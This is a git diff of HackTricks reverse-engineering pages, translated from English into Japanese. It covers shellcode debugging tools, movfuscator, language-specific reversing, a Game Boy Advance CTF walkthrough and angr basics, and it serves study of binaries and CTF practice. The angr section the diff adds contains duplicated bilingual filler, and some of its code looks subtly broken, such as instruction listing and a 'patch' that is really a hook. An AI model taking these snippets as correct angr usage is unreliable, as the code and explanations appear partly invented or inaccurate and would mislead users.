[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\ -You can find a slightly modified version of Blobrunner in the following link. In order to compile it just **create a C/C++ project in Visual Studio Code, copy and paste the code and build it**. +リリースのGitHubページには、コンパイルされたリリースが含まれるzipファイルがあります:[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\ +以下のリンクに、Blobrunnerのわずかに変更されたバージョンがあります。コンパイルするには、Visual Studio CodeでC/C++プロジェクトを作成し、コードをコピーして貼り付け、ビルドします。 {% content-ref url="blobrunner.md" %} [blobrunner.md](blobrunner.md) {% endcontent-ref %} -### Debugging a shellcode with jmp2it +### jmp2itを使用したシェルコードのデバッグ -[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)is very similar to blobrunner. It will **allocate** the **shellcode** inside a space of memory, and start an **eternal loop**. You then need to **attach the debugger** to the process, **play start wait 2-5 secs and press stop** and you will find yourself inside the **eternal loop**. Jump to the next instruction of the eternal loop as it will be a call to the shellcode, and finally you will find yourself executing the shellcode. +[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)は、blobrunnerと非常に似ています。シェルコードをメモリ内のスペースに割り当て、**永遠のループ**を開始します。その後、デバッガをプロセスにアタッチし、**再生を開始し、2〜5秒待って停止**し、**永遠のループ**内にいます。永遠のループの次の命令にジャンプし、最終的にシェルコードを実行します。 ![](<../../.gitbook/assets/image (397).png>) -You can download a compiled version of [jmp2it inside the releases page](https://github.com/adamkramer/jmp2it/releases/). +[リリースページからjmp2itのコンパイル済みバージョンをダウンロードできます](https://github.com/adamkramer/jmp2it/releases/)。 -### Debugging shellcode using Cutter +### Cutterを使用したシェルコードのデバッグ -[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) is the GUI of radare. Using cutter you can emulate the shellcode and inspect it dynamically. +[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)は、radareのGUIです。Cutterを使用すると、シェルコードをエミュレートして動的に検査できます。 -Note that Cutter allows you to "Open File" and "Open Shellcode". In my case when I opened the shellcode as a file it decompiled it correctly, but when I opened it as a shellcode it didn't: +Cutterでは、「ファイルを開く」と「シェルコードを開く」の両方が可能です。私の場合、シェルコードをファイルとして開いた場合は正しく逆コンパイルされましたが、シェルコードとして開いた場合は逆コンパイルされませんでした。 ![](<../../.gitbook/assets/image (400).png>) -In order to start the emulation in the place you want to, set a bp there and apparently cutter will automatically start the emulation from there: +特定の場所でエミュレーションを開始するには、そこにブレークポイントを設定し、おそらくCutterは自動的にそこからエミュレーションを開始します。 ![](<../../.gitbook/assets/image (399).png>) -![](<../../.gitbook/assets/image (401).png>) - -You can see the stack for example inside a hex dump: +例えば、ヘックスダンプ内でスタックを表示できます。 ![](<../../.gitbook/assets/image (402).png>) +### シェルコードの難読化を解除し、実行される関数を取得する -### Deobfuscating shellcode and getting executed functions - -You should try [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\ -It will tell you things like **which functions** is the shellcode using and if the shellcode is **decoding** itself in memory. - +[**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152)を試してみるべきです。\ +これは、シェルコードが使用している**関数**や、シェルコードがメモリ内で**自己復号化**しているかどうかなどを教えてくれます。 ```bash scdbg.exe -f shellcode # Get info scdbg.exe -f shellcode -r #show analysis report at end of run @@ -210,87 +236,83 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode scdbg.exe -f shellcode /findsc #Find offset where starts scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset ``` - -scDbg also counts with a graphical launcher where you can select the options you want and execute the shellcode +scDbgには、グラフィカルなランチャーもあります。ここで、必要なオプションを選択してシェルコードを実行することができます。 ![](<../../.gitbook/assets/image (398).png>) -The **Create Dump** option will dump the final shellcode if any change is done to the shellcode dynamically in memory (useful to download the decoded shellcode). The **start offset** can be useful to start the shellcode at a specific offset. The **Debug Shell** option is useful to debug the shellcode using the scDbg terminal (however I find any of the options explained before better for this matter as you will be able to use Ida or x64dbg). +**Create Dump**オプションは、シェルコードがメモリ内で動的に変更された場合に、最終的なシェルコードをダンプします(デコードされたシェルコードをダウンロードするのに便利です)。**start offset**は、特定のオフセットでシェルコードを開始するのに役立ちます。**Debug Shell**オプションは、scDbgターミナルを使用してシェルコードをデバッグするのに便利です(ただし、前述のオプションのいずれかを使用する方が、Idaやx64dbgを使用できるため、より良いです)。 -### Disassembling using CyberChef +### CyberChefを使用した逆アセンブル -Upload you shellcode file as input and use the following receipt to decompile it: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\)) +シェルコードファイルを入力としてアップロードし、次のレシピを使用して逆アセンブルします:[https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\)) ## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator) -This obfuscator **modify all the instructions for `mov`**(yeah, really cool). It also uses interruptions to change executions flows. For more information about how does it works: +この難読化ツールは、すべての`mov`命令を変更します(本当にクールですね)。また、実行フローを変更するために割り込みも使用します。詳細については、以下を参照してください: * [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY) * [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf) -If you are lucky [demovfuscator ](https://github.com/kirschju/demovfuscator)will deofuscate the binary. It has several dependencies - +運が良ければ、[demovfuscator](https://github.com/kirschju/demovfuscator)がバイナリを復号化します。いくつかの依存関係があります。 ``` apt-get install libcapstone-dev apt-get install libz3-dev ``` +そして、[keystoneをインストール](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md)します(`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`) -And [install keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`) - -If you are playing a **CTF, this workaround to find the flag** could be very useful: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) +もし**CTFをプレイしている場合、フラグを見つけるためのこの回避策**は非常に役立つかもしれません:[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) ## Rust -To find the **entry point** search the functions by `::main` like in: +**エントリーポイント**を見つけるには、次のように`::main`で関数を検索します: ![](<../../.gitbook/assets/image (612).png>) -In this case the binary was called authenticator, so it's pretty obvious that this is the interesting main function.\ -Having the **name** of the **functions** being called, search for them on the **Internet** to learn about their **inputs** and **outputs**. +この場合、バイナリの名前はauthenticatorと呼ばれているため、これが興味深いmain関数であることは明らかです。\ +呼び出されている**関数の名前**を持っている場合、それらを**インターネット**で検索して、その**入力**と**出力**について学びます。 ## **Delphi** -For Delphi compiled binaries you can use [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR) +Delphiでコンパイルされたバイナリには、[https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)を使用できます -I you have to reverse a Delphi binary I would suggest you to use the IDA plugin [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi) +Delphiバイナリをリバースエンジニアリングする場合は、IDAプラグイン[https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)を使用することをおすすめします -Just press **ATL+f7** (import python plugin in IDA) and select the python plugin. +単に**ATL+f7**(IDAでPythonプラグインをインポート)を押し、Pythonプラグインを選択します。 -This plugin will execute the binary and resolve function names dynamically at the start of the debugging. After starting the debugging press again the Start button (the green one or f9) and a breakpoint will hit in the beginning of the real code. +このプラグインはバイナリを実行し、デバッグの開始時に関数名を動的に解決します。デバッグを開始した後、再びStartボタン(緑色のボタンまたはf9)を押すと、実際のコードの最初にブレークポイントがヒットします。 -It is also very interesting because if you press a button in the graphic application the debugger will stop in the function executed by that bottom. +また、グラフィックアプリケーションでボタンを押すと、デバッガはそのボタンによって実行される関数で停止します。 ## Golang -I you have to reverse a Golang binary I would suggest you to use the IDA plugin [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper) +Golangバイナリをリバースエンジニアリングする場合は、IDAプラグイン[https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)を使用することをおすすめします -Just press **ATL+f7** (import python plugin in IDA) and select the python plugin. +単に**ATL+f7**(IDAでPythonプラグインをインポート)を押し、Pythonプラグインを選択します。 -This will resolve the names of the functions. +これにより、関数の名前が解決されます。 -## Compiled Python +## コンパイルされたPython -In this page you can find how to get the python code from an ELF/EXE python compiled binary: +このページでは、ELF/EXE形式のPythonコンパイルバイナリからPythonコードを取得する方法が説明されています: {% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %} [.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md) {% endcontent-ref %} -## GBA - Game Body Advance +## GBA - ゲームボーイアドバンス -If you get the **binary** of a GBA game you can use different tools to **emulate** and **debug** it: +GBAゲームの**バイナリ**を取得した場合、さまざまなツールを使用して**エミュレート**および**デバッグ**することができます: -* [**no$gba**](https://problemkaputt.de/gba.htm) (_Download the debug version_) - Contains a debugger with interface -* [**mgba** ](https://mgba.io)- Contains a CLI debugger -* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra plugin -* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra plugin +* [**no$gba**](https://problemkaputt.de/gba.htm)(デバッグバージョンをダウンロード)- インターフェース付きのデバッガが含まれています +* [**mgba** ](https://mgba.io)- CLIデバッガが含まれています +* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidraプラグイン +* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidraプラグイン -In [**no$gba**](https://problemkaputt.de/gba.htm), in _**Options --> Emulation Setup --> Controls**_\*\* \*\* you can see how to press the Game Boy Advance **buttons** +[**no$gba**](https://problemkaputt.de/gba.htm)では、_**Options --> Emulation Setup --> Controls**_\*\* \*\*でGame Boy Advanceの**ボタン**を押す方法がわかります ![](<../../.gitbook/assets/image (578).png>) -When pressed, each **key has a value** to identify it: - +押されたとき、各**キーには値**があり、それを識別するための値があります: ``` A = 1 B = 2 @@ -303,109 +325,102 @@ DOWN = 128 R = 256 L = 256 ``` - -So, in this kind of programs, the an interesting part will be **how the program treats the user input**. In the address **0x4000130** you will find the commonly found function: **KEYINPUT.** +そうですね、この種のプログラムでは、興味深い部分は**プログラムがユーザーの入力を処理する方法**です。アドレス**0x4000130**には、一般的に見られる関数**KEYINPUT**があります。 ![](<../../.gitbook/assets/image (579).png>) -In the previous image you can find that the function is called from **FUN\_080015a8** (addresses: _0x080015fa_ and _0x080017ac_). - -In that function, after some init operations (without any importance): +前の画像では、関数が**FUN\_080015a8**から呼び出されていることがわかります(アドレス:_0x080015fa_と_0x080017ac_)。 +その関数では、いくつかの初期化操作(重要ではない)の後に、以下のようなコードがあります。 ```c void FUN_080015a8(void) { - ushort uVar1; - undefined4 uVar2; - undefined4 uVar3; - ushort uVar4; - int iVar5; - ushort *puVar6; - undefined *local_2c; - - DISPCNT = 0x1140; - FUN_08000a74(); - FUN_08000ce4(1); - DISPCNT = 0x404; - FUN_08000dd0(&DAT_02009584,0x6000000,&DAT_030000dc); - FUN_08000354(&DAT_030000dc,0x3c); - uVar4 = DAT_030004d8; +ushort uVar1; +undefined4 uVar2; +undefined4 uVar3; +ushort uVar4; +int iVar5; +ushort *puVar6; +undefined *local_2c; + +DISPCNT = 0x1140; +FUN_08000a74(); +FUN_08000ce4(1); +DISPCNT = 0x404; +FUN_08000dd0(&DAT_02009584,0x6000000,&DAT_030000dc); +FUN_08000354(&DAT_030000dc,0x3c); +uVar4 = DAT_030004d8; ``` - -It's found this code: - +このコードが見つかりました: ```c - do { - DAT_030004da = uVar4; //This is the last key pressed - DAT_030004d8 = KEYINPUT | 0xfc00; - puVar6 = &DAT_0200b03c; - uVar4 = DAT_030004d8; - do { - uVar2 = DAT_030004dc; - uVar1 = *puVar6; - if ((uVar1 & DAT_030004da & ~uVar4) != 0) { +do { +DAT_030004da = uVar4; //This is the last key pressed +DAT_030004d8 = KEYINPUT | 0xfc00; +puVar6 = &DAT_0200b03c; +uVar4 = DAT_030004d8; +do { +uVar2 = DAT_030004dc; +uVar1 = *puVar6; +if ((uVar1 & DAT_030004da & ~uVar4) != 0) { ``` - -The last if is checking **`uVar4`** is in the **last Keys** and not is the current key, also called letting go off a button (current key is stored in **`uVar1`**). - +最後のif文は、**`uVar4`**が**最後のキー**にあるかどうかをチェックし、現在のキーではないことを確認しています。これは、ボタンを離すことを意味します(現在のキーは**`uVar1`**に格納されています)。 ```c - if (uVar1 == 4) { - DAT_030000d4 = 0; - uVar3 = FUN_08001c24(DAT_030004dc); - FUN_08001868(uVar2,0,uVar3); - DAT_05000000 = 0x1483; - FUN_08001844(&DAT_0200ba18); - FUN_08001844(&DAT_0200ba20,&DAT_0200ba40); - DAT_030000d8 = 0; - uVar4 = DAT_030004d8; - } - else { - if (uVar1 == 8) { - if (DAT_030000d8 == 0xf3) { - DISPCNT = 0x404; - FUN_08000dd0(&DAT_02008aac,0x6000000,&DAT_030000dc); - FUN_08000354(&DAT_030000dc,0x3c); - uVar4 = DAT_030004d8; - } - } - else { - if (DAT_030000d4 < 8) { - DAT_030000d4 = DAT_030000d4 + 1; - FUN_08000864(); - if (uVar1 == 0x10) { - DAT_030000d8 = DAT_030000d8 + 0x3a; +if (uVar1 == 4) { +DAT_030000d4 = 0; +uVar3 = FUN_08001c24(DAT_030004dc); +FUN_08001868(uVar2,0,uVar3); +DAT_05000000 = 0x1483; +FUN_08001844(&DAT_0200ba18); +FUN_08001844(&DAT_0200ba20,&DAT_0200ba40); +DAT_030000d8 = 0; +uVar4 = DAT_030004d8; +} +else { +if (uVar1 == 8) { +if (DAT_030000d8 == 0xf3) { +DISPCNT = 0x404; +FUN_08000dd0(&DAT_02008aac,0x6000000,&DAT_030000dc); +FUN_08000354(&DAT_030000dc,0x3c); +uVar4 = DAT_030004d8; +} +} +else { +if (DAT_030000d4 < 8) { +DAT_030000d4 = DAT_030000d4 + 1; +FUN_08000864(); +if (uVar1 == 0x10) { +DAT_030000d8 = DAT_030000d8 + 0x3a; ``` +前のコードでは、**uVar1**(**押されたボタンの値**が格納される場所)といくつかの値を比較しています: -In the previous code you can see that we are comparing **uVar1** (the place where the **value of the pressed button** is) with some values: +* 最初に、**値4**(**SELECT**ボタン)と比較されます:このボタンはチャレンジで画面をクリアします。 +* 次に、**値8**(**START**ボタン)と比較されます:このボタンはコードがフラグを取得するために有効かどうかをチェックします。 +* この場合、変数**`DAT_030000d8`**は0xf3と比較され、値が同じであればいくつかのコードが実行されます。 +* それ以外の場合、いくつかのcont(`DAT_030000d4`)がチェックされます。これはcontであるため、コードに入る直後に1が追加されます。\ +8未満の場合、**`DAT_030000d8`**に値を**追加**する何かが行われます(基本的には、contが8未満の間、押されたキーの値をこの変数に追加しています)。 -* First, it's compared with the **value 4** (**SELECT** button): In the challenge this button clears the screen -* Then, it's comparing it with the **value 8** (**START** button): In the challenge this checks is the code is valid to get the flag. - * In this case the var **`DAT_030000d8`** is compared with 0xf3 and if the value is the same some code is executed. -* In any other cases, some cont (`DAT_030000d4`) is checked. It's a cont because it's adding 1 right after entering in the code.\ - **I**f less than 8 something that involves **adding** values to \*\*`DAT_030000d8` \*\* is done (basically it's adding the values of the keys pressed in this variable as long as the cont is less than 8). +したがって、このチャレンジでは、ボタンの値を知り、**長さが8未満の組み合わせを押して、結果の加算が0xf3になる必要がありました。** -So, in this challenge, knowing the values of the buttons, you needed to **press a combination with a length smaller than 8 that the resulting addition is 0xf3.** +このチュートリアルの参考資料:[**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/) -**Reference for this tutorial:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/) - -## Game Boy +## ゲームボーイ {% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %} -## Courses +## コース * [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering) -* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binary deobfuscation) +* [https://github.com/malrev/ABD](https://github.com/malrev/ABD)(バイナリの逆変換)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/reversing/reversing-tools-basic-methods/angr/README.md b/reversing/reversing-tools-basic-methods/angr/README.md index 8cd96940b..94a67849f 100644 --- a/reversing/reversing-tools-basic-methods/angr/README.md +++ b/reversing/reversing-tools-basic-methods/angr/README.md @@ -1,24 +1,21 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Installation - +# インストール ```bash sudo apt-get install python3-dev libffi-dev build-essential python3 -m pip install --user virtualenv @@ -26,9 +23,98 @@ python3 -m venv ang source ang/bin/activate pip install angr ``` +# 基本的なアクション -# Basic Actions +## Load Binary +### Load a binary into an angr project + +### angrプロジェクトにバイナリをロードする + +```python +import angr + +proj = angr.Project("/path/to/binary") +``` + +## Find Functions + +### Find all functions in the binary + +### バイナリ内のすべての関数を見つける + +```python +cfg = proj.analyses.CFGFast() +functions = cfg.functions +``` + +## Find Basic Blocks + +### Find all basic blocks in a function + +### 関数内のすべての基本ブロックを見つける + +```python +function = cfg.functions["function_name"] +basic_blocks = function.blocks +``` + +## Find Instructions + +### Find all instructions in a basic block + +### 基本ブロック内のすべての命令を見つける + +```python +basic_block = function.blocks[0] +instructions = basic_block.instructions +``` + +## Symbolic Execution + +### Perform symbolic execution on a basic block + +### 基本ブロック上でシンボリック実行を行う + +```python +state = proj.factory.entry_state() +simgr = proj.factory.simgr(state) +simgr.explore(find=0xdeadbeef, avoid=0xcafebabe) +``` + +## Path Exploration + +### Explore all possible paths in a binary + +### バイナリ内のすべての可能なパスを探索する + +```python +state = proj.factory.entry_state() +simgr = proj.factory.simgr(state) +simgr.explore() +``` + +## Constraint Solving + +### Solve constraints using angr's symbolic expressions + +### angrのシンボリック式を使用して制約を解決する + +```python +state = proj.factory.entry_state() +solver = state.solver +solution = solver.eval(expr, cast_to=str) +``` + +## Patching Binaries + +### Patch a binary with new instructions + +### 新しい命令でバイナリをパッチする + +```python +proj.hook(0xdeadbeef, angr.SIM_PROCEDURES['stubs']['ReturnUnconstrained']()) +``` ```python import angr import monkeyhex # this will format numerical results in hexadecimal @@ -46,11 +132,17 @@ proj.filename #Get filename "/bin/true" #Usually you won't need to use them but you could angr.Project('examples/fauxware/fauxware', main_opts={'backend': 'blob', 'arch': 'i386'}, lib_opts={'libc.so.6': {'backend': 'elf'}}) ``` +# 読み込まれたデータ -# Loaded and Main object information +The loaded data refers to the information that is loaded into the memory when a program is executed. This can include variables, functions, libraries, and other resources that are necessary for the program to run. -## Loaded Data +読み込まれたデータとは、プログラムが実行される際にメモリに読み込まれる情報のことを指します。これには、変数、関数、ライブラリ、およびプログラムの実行に必要なその他のリソースが含まれる場合があります。 +## Main Object + +The main object is the entry point of a program. It is the first function that is executed when the program starts running. The main object typically contains the program's initialization code and calls other functions as needed. + +メインオブジェクトは、プログラムのエントリーポイントです。プログラムが実行されるときに最初に実行される関数です。メインオブジェクトには通常、プログラムの初期化コードが含まれ、必要に応じて他の関数を呼び出します。 ```python #LOADED DATA proj.loader # @@ -60,22 +152,130 @@ proj.loader.all_objects #All loaded proj.loader.shared_objects #Loaded binaries """ OrderedDict([('true', ), - ('libc.so.6', - ), - ('ld-linux-x86-64.so.2', - ), - ('extern-address space', - ), - ('cle##tls', - )]) +('libc.so.6', +), +('ld-linux-x86-64.so.2', +), +('extern-address space', +), +('cle##tls', +)]) """ proj.loader.all_elf_objects #Get all ELF objects loaded (Linux) proj.loader.all_pe_objects #Get all binaries loaded (Windows) proj.loader.find_object_containing(0x400000)#Get object loaded in an address "" ``` +## メインオブジェクト -## Main Object +The main object in angr is the `Project` class. It represents the binary being analyzed and provides various methods and attributes for performing analysis and manipulation. +angrのメインオブジェクトは`Project`クラスです。これは解析されるバイナリを表し、解析や操作を行うためのさまざまなメソッドと属性を提供します。 + +## Loading a Binary + +To create a `Project` object, you need to provide the path to the binary file you want to analyze. You can do this using the `angr.Project()` constructor. + +バイナリを解析するために`Project`オブジェクトを作成するには、解析したいバイナリファイルへのパスを指定する必要があります。これは`angr.Project()`コンストラクタを使用して行うことができます。 + +```python +import angr + +# Load the binary +project = angr.Project('/path/to/binary') +``` + +```python +import angr + +# バイナリをロードする +project = angr.Project('/path/to/binary') +``` + +## Exploring the Binary + +Once you have loaded the binary, you can explore its properties and perform various analysis tasks. Some of the commonly used methods and attributes of the `Project` class are: + +バイナリをロードしたら、そのプロパティを調査し、さまざまな解析タスクを実行することができます。`Project`クラスの一部のよく使用されるメソッドと属性は次のとおりです。 + +- `project.arch`: The architecture of the binary. +- `project.entry`: The entry point address of the binary. +- `project.loader`: The loader object that provides access to the binary's sections, symbols, and other information. +- `project.factory`: The factory object that provides methods for creating various analysis objects, such as `project.factory.block()` for creating basic blocks. + +- `project.arch`: バイナリのアーキテクチャ。 +- `project.entry`: バイナリのエントリポイントアドレス。 +- `project.loader`: バイナリのセクション、シンボル、およびその他の情報にアクセスするためのローダーオブジェクト。 +- `project.factory`: 基本ブロックを作成するための`project.factory.block()`など、さまざまな解析オブジェクトを作成するためのメソッドを提供するファクトリーオブジェクト。 + +## Symbolic Execution + +One of the powerful features of angr is its support for symbolic execution. Symbolic execution allows you to explore all possible paths through a binary by treating inputs as symbolic variables. This can be useful for finding vulnerabilities, understanding program behavior, and generating test cases. + +angrの強力な機能の1つは、シンボリック実行のサポートです。シンボリック実行により、入力をシンボリック変数として扱い、バイナリを通過するすべての可能なパスを探索することができます。これは脆弱性の発見、プログラムの動作の理解、テストケースの生成に役立ちます。 + +To perform symbolic execution, you can use the `project.factory.simulation_manager()` method to create a `SimulationManager` object. The `SimulationManager` object allows you to explore different paths through the binary and collect information about the program state at each path. + +シンボリック実行を行うには、`project.factory.simulation_manager()`メソッドを使用して`SimulationManager`オブジェクトを作成します。`SimulationManager`オブジェクトを使用すると、バイナリを通過するさまざまなパスを探索し、各パスでのプログラムの状態に関する情報を収集することができます。 + +```python +import angr + +# Load the binary +project = angr.Project('/path/to/binary') + +# Create a SimulationManager object +sim_manager = project.factory.simulation_manager() + +# Explore the binary +sim_manager.explore() +``` + +```python +import angr + +# バイナリをロードする +project = angr.Project('/path/to/binary') + +# SimulationManagerオブジェクトを作成する +sim_manager = project.factory.simulation_manager() + +# バイナリを探索する +sim_manager.explore() +``` + +## Analyzing Program State + +During symbolic execution, you can analyze the program state at each path to gather information about the program's behavior. Some of the commonly used methods and attributes of the `SimulationManager` class are: + +シンボリック実行中に、各パスでプログラムの状態を分析してプログラムの動作に関する情報を収集することができます。`SimulationManager`クラスの一部のよく使用されるメソッドと属性は次のとおりです。 + +- `sim_manager.active`: A list of active states, representing the current program state at each path. +- `sim_manager.deadended`: A list of deadended states, representing the program states that have reached an exit point. +- `sim_manager.stashes`: A dictionary of stashes, which can be used to organize and manage states. + +- `sim_manager.active`: アクティブな状態のリストで、各パスの現在のプログラムの状態を表します。 +- `sim_manager.deadended`: 終了ポイントに到達したプログラムの状態を表す、終了した状態のリスト。 +- `sim_manager.stashes`: 状態を整理管理するために使用できるスタッシュの辞書。 + +## Manipulating Program State + +In addition to analyzing program state, angr allows you to manipulate the program state to guide the analysis or explore specific behaviors. Some of the commonly used methods and attributes for manipulating program state are: + +プログラムの状態を分析するだけでなく、angrではプログラムの状態を操作して解析を誘導したり、特定の動作を探索したりすることができます。プログラムの状態を操作するための一部のよく使用されるメソッドと属性は次のとおりです。 + +- `state.solver`: The solver object associated with a state, which can be used to solve constraints and perform symbolic operations. +- `state.memory`: The memory object associated with a state, which can be used to read from and write to memory. +- `state.regs`: The register object associated with a state, which can be used to read from and write to registers. + +- `state.solver`: 状態に関連付けられたソルバーオブジェクトで、制約を解決したりシンボリック操作を実行したりするために使用できます。 +- `state.memory`: 状態に関連付けられたメモリオブジェクトで、メモリから読み取りや書き込みを行うために使用できます。 +- `state.regs`: 状態に関連付けられたレジスタオブジェクトで、レジスタへの読み取りや書き込みを行うために使用できます。 + +## Conclusion + +This is just a brief introduction to the basic methods and concepts in angr. There are many more advanced features and techniques that can be explored. The angr documentation and examples provide more detailed information on how to use angr for various analysis tasks. + +これはangrの基本的なメソッドと概念の簡単な紹介です。さらに詳細な情報やさまざまな解析タスクにangrを使用する方法については、angrのドキュメントと例を参照してください。 ```python #Main Object (main binary loaded) obj = proj.loader.main_object # @@ -89,9 +289,39 @@ obj.find_section_containing(obj.entry) #Get section by address obj.plt['strcmp'] #Get plt address of a funcion (0x400550) 